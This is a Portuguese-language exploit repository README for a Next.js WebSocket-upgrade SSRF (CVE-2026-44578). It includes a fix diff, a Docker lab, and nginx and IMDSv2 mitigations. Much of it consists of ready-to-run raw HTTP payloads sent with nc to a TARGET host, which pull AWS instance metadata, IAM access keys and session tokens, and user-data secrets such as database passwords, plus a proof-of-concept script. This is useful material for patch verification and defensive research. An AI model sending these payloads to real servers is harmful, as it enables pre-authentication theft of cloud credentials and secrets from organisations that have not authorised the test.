
CVE-2026-44578: Next.js WebSocket Upgrade SSRF — roubo de credenciais pré-autenticação via localhost:80. Laboratório + exploit + auditoria.
Server-Side Request Forgery pré-autenticação em implantações self-hosted do Next.js.
Uma única requisição HTTP forjada extrai credenciais da AWS, segredos e dados de serviços internos de localhost:80.
| Campo | Valor |
|---|---|
| CVE | CVE-2026-44578 |
| GHSA | GHSA-c4j6-fc7j-m34r |
| CVSS 3.1 | 8.6 HIGH (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N) |
| Tipo | SSRF (CWE-918) |
| Afetados | Next.js 13.4.13 – 15.5.15, 16.0.0 – 16.2.4 (somente self-hosted) |
| Corrigido | 15.5.16, 16.2.5 |
| Autenticação Necessária | Nenhuma |
| Interação do Usuário | Nenhuma |
O manipulador de upgrade WebSocket em router-server.ts chama proxyRequest() sempre que parsedUrl.protocol é truthy — sem verificar os flags de conclusão de roteamento finished e statusCode que o manipulador HTTP sempre aplicou.
// router-server.ts — upgrade handler
- if (parsedUrl.protocol) {
- return await proxyRequest(req, socket, parsedUrl, head)
// fix (commit c4f69086)
+ if (finished && parsedUrl.protocol) {
+ if (!statusCode) {
+ return await proxyRequest(req, socket, parsedUrl, head)
+ }
+ return socket.end()
}
Depois que normalizeRepeatedSlashes colapsa http:/// em http:/, o hostname fica null e o http-proxy se conecta à localhost:80 com o caminho correto. Qualquer serviço co-localizado (metadados de nuvem, painéis de administração, APIs internas) fica exposto.
printf "GET http:///latest/meta-data/iam/security-credentials/ROLE HTTP/1.1\r\n\
Host: TARGET:3000\r\n\
Connection: Upgrade\r\n\
Upgrade: websocket\r\n\
Sec-WebSocket-Version: 13\r\n\
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" | nc -w 5 TARGET 3000
curlnão consegue enviar URIs em formato absoluto. Use TCP bruto:nc,ncat,socatou sockets Python.
Attacker Next.js (vuln) localhost:80 (IMDS/service)
| | |
| GET http:///latest/meta-data/| |
| Connection: Upgrade | |
| Upgrade: websocket | |
|----------------------------->| |
| | url.parse -> protocol:'http' |
| | "///" matches regex |
| | normalizeRepeatedSlashes |
| | "http:///" -> "http:/" |
| | Returns: finished:true |
| | statusCode:308 |
| | hostname:null |
| | |
| | BUG: only checks protocol |
| | proxyRequest -> localhost:80 |
| | GET /latest/meta-data/ |
| |----------------------------->|
| | 200 OK + credentials |
| |<-----------------------------|
| 200 OK + credentials | |
|<-----------------------------| |
nc (netcat)git clone https://github.com/dinosn/CVE-2026-44578.git
cd CVE-2026-44578/lab
./setup.sh
Isso inicia 5 contêineres:
Os sidecars IMDS usam network_mode: "service:nextjs-*" para que o serviço de metadados falso fique em localhost:80 dentro do contêiner do Next.js — modelando uma instância de nuvem real.
# Full test suite (7 SSRF probes)
python3 ../exploit/poc.py -t http://localhost:3000 --test-all
# Single credential extraction
printf "GET http:///latest/meta-data/iam/security-credentials/NextjsAppRole HTTP/1.1\r\n\
Host: 127.0.0.1:3000\r\nConnection: Upgrade\r\nUpgrade: websocket\r\n\
Sec-WebSocket-Version: 13\r\nSec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" \
| nc -w 5 127.0.0.1 3000
# Confirm patched instance blocks it
python3 ../exploit/poc.py -t http://localhost:3001 --test-all
./teardown.sh
Todos os contêineres ativos — vulnerável (15.5.15) na :3000, corrigido (15.5.16) na :3001, sidecars IMDS compartilhando namespaces de rede.
Uma única requisição retorna o diretório completo de metadados do EC2 (ami-id, instance-id, iam/, placement/, etc.)
Conjunto completo de credenciais IAM: AccessKeyId, SecretAccessKey, Token e Expiration.
Script de bootstrap do user-data do EC2 contendo DB_PASSWORD e API_KEY.
ID da instância extraído pelo mesmo vetor de SSRF.
Mesmo payload contra o Next.js 15.5.16. Conexão encerrada imediatamente — nenhum dado retornado.
Os logs do IMDS falso mostram requisições GET chegando de 127.0.0.1 (o processo do Next.js), provando que o SSRF é executado no servidor.
Todos os 7 testes de SSRF retornam dados sensíveis na instância vulnerável.
Todos os 7 testes bloqueados na instância corrigida. Correção confirmada.
# 1. List metadata categories
printf "GET http:///latest/meta-data/ HTTP/1.1\r\nHost: T:3000\r\nConnection: Upgrade\r\nUpgrade: websocket\r\nSec-WebSocket-Version: 13\r\nSec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" | nc -w 5 T 3000
# 2. Instance ID
printf "GET http:///latest/meta-data/instance-id HTTP/1.1\r\nHost: T:3000\r\nConnection: Upgrade\r\nUpgrade: websocket\r\nSec-WebSocket-Version: 13\r\nSec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" | nc -w 5 T 3000
# 3. Discover IAM role
printf "GET http:///latest/meta-data/iam/security-credentials/ HTTP/1.1\r\nHost: T:3000\r\nConnection: Upgrade\r\nUpgrade: websocket\r\nSec-WebSocket-Version: 13\r\nSec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" | nc -w 5 T 3000
# 4. Extract IAM credentials
printf "GET http:///latest/meta-data/iam/security-credentials/ROLE HTTP/1.1\r\nHost: T:3000\r\nConnection: Upgrade\r\nUpgrade: websocket\r\nSec-WebSocket-Version: 13\r\nSec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" | nc -w 5 T 3000
# 5. User-data secrets
printf "GET http:///latest/user-data HTTP/1.1\r\nHost: T:3000\r\nConnection: Upgrade\r\nUpgrade: websocket\r\nSec-WebSocket-Version: 13\r\nSec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" | nc -w 5 T 3000
Substitua T pelo host alvo e ROLE pelo nome da função IAM.
# Nginx: reject absolute-form request URIs
if ($request_uri ~* "^https?://") {
return 400;
}
Na AWS: aplique IMDSv2 (HttpTokens=required).
Assinaturas de log:
Failed to proxy http:/ — proxy acionado, mas o alvo está inacessívelhttp:///path não gera nenhum log de erro — monitore upgrades de WebSocket com http: na linha de requisiçãoApenas para testes de segurança autorizados, educação e pesquisa defensiva. Use somente contra sistemas que você possui ou para os quais tenha permissão escrita explícita para testar.
| Contêiner | Função | Exposto |
|---|
nextjs-vuln | Next.js 15.5.15 (vulnerável) | localhost:3000 |
nextjs-fixed | Next.js 15.5.16 (corrigido) | localhost:3001 |
imds-sidecar-vuln | IMDSv1 AWS falso compartilhando rede com o vulnerável | localhost:80 (da perspectiva do vulnerável) |
imds-sidecar-fixed | IMDSv1 AWS falso compartilhando rede com o corrigido | localhost:80 (da perspectiva do corrigido) |
internal-api | Mock de serviço interno | — |
| Limitação | Detalhe |
|---|
| Método HTTP | Apenas GET |
| Alvo | localhost:80 (hostname removido pela normalização) |
| AWS IMDSv2 | Não explorável (requer PUT) |
| Metadados GCP | Não explorável (rejeita o cabeçalho Upgrade) |
| Hospedado na Vercel | Não afetado |
| Atrás de proxy reverso | nginx/Caddy/HAProxy bloqueiam URIs em formato absoluto |
| Fonte | Link |
|---|